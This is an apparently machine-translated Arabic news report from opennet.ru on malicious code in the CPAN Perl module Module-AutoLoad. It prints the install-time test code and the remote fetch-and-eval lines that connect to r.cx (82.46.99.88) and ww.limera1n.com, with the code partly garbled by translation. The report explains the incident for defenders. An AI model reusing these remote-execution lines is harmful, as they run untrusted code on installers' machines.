تم العثور على تعليمات برمجية ضارة في حزمة Module-AutoLoad Perl

في حزمة Perl الموزعة من خلال دليل CPAN وحدة التحميل التلقائي، مصمم لتحميل وحدات CPAN تلقائيًا أثناء التنقل، المحددة رمز خبيث. وكان إدراج الخبيثة أسس في رمز الاختبار 05_rcx.t، والتي تم الشحن منذ عام 2011.
من الجدير بالذكر أن الأسئلة حول تحميل التعليمات البرمجية المشكوك فيها نشأت ستاكوفيرفلوو مرة أخرى في عام 2016.

يتلخص النشاط الضار في محاولة تنزيل التعليمات البرمجية وتنفيذها من خادم جهة خارجية (http://r.cx:1/) أثناء تنفيذ مجموعة الاختبار التي تم إطلاقها عند تثبيت الوحدة. من المفترض أن الكود الذي تم تنزيله في البداية من الخادم الخارجي لم يكن ضارًا، ولكن الآن تتم إعادة توجيه الطلب إلى المجال ww.limera1n.com، الذي يوفر الجزء الخاص به من الكود للتنفيذ.

لتنظيم التحميل في ملف 05_rcx.t يتم استخدام الكود التالي:

برنامجي $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
$try = `$^X $prog`;

يؤدي الكود المحدد إلى تنفيذ البرنامج النصي ../مساهمة/RCX.pl، والتي يتم تقليل محتوياتها إلى السطر:

استخدم lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.:1″};

يتم تحميل هذا البرنامج النصي خجول باستخدام الخدمة perlobfuscator.com رمز من المضيف الخارجي r.cx (رموز الأحرف 82.46.99.88 تتوافق مع النص "R.cX") ويتم تنفيذه في كتلة التقييم.

$ Perl -MIO::Socket -e'$b=new IO::Socket::INET 82.46.99.88.:1″; اطبع <$ب>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

بعد التفريغ، يتم تنفيذ ما يلي في النهاية: رمز:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"احصل على /iJailBreak
";إرجاع التقييم تحذير$@while$b;1

تمت الآن إزالة الحزمة التي بها مشكلات من المستودع. PAUSE (خادم تحميل مؤلفي Perl)، وتم حظر حساب مؤلف الوحدة. في هذه الحالة، الوحدة لا تزال قائمة متاح في أرشيف MetaCPAN ويمكن تثبيته مباشرة من MetaCPAN باستخدام بعض الأدوات المساعدة مثل cpanminus. هذا مدونأن الحزمة لم يتم توزيعها على نطاق واسع.

مثيرة للاهتمام للمناقشة متصل ومؤلف الوحدة، الذي نفى المعلومات التي تفيد بإدخال تعليمات برمجية ضارة بعد اختراق موقعه “r.cx” وأوضح أنه كان يستمتع فقط، واستخدم perlobfuscator.com ليس لإخفاء شيء ما، ولكن لتقليل الحجم للكود وتبسيط نسخه عبر الحافظة. يتم تفسير اختيار اسم الوظيفة "botstrap" من خلال حقيقة أن هذه الكلمة "تبدو مثل bot وهي أقصر من bootstrap". أكد مؤلف الوحدة أيضًا أن عمليات التلاعب التي تم تحديدها لا تؤدي إلى إجراءات ضارة، ولكنها توضح فقط تحميل التعليمات البرمجية وتنفيذها عبر TCP.

المصدر: opennet.ru

إضافة تعليق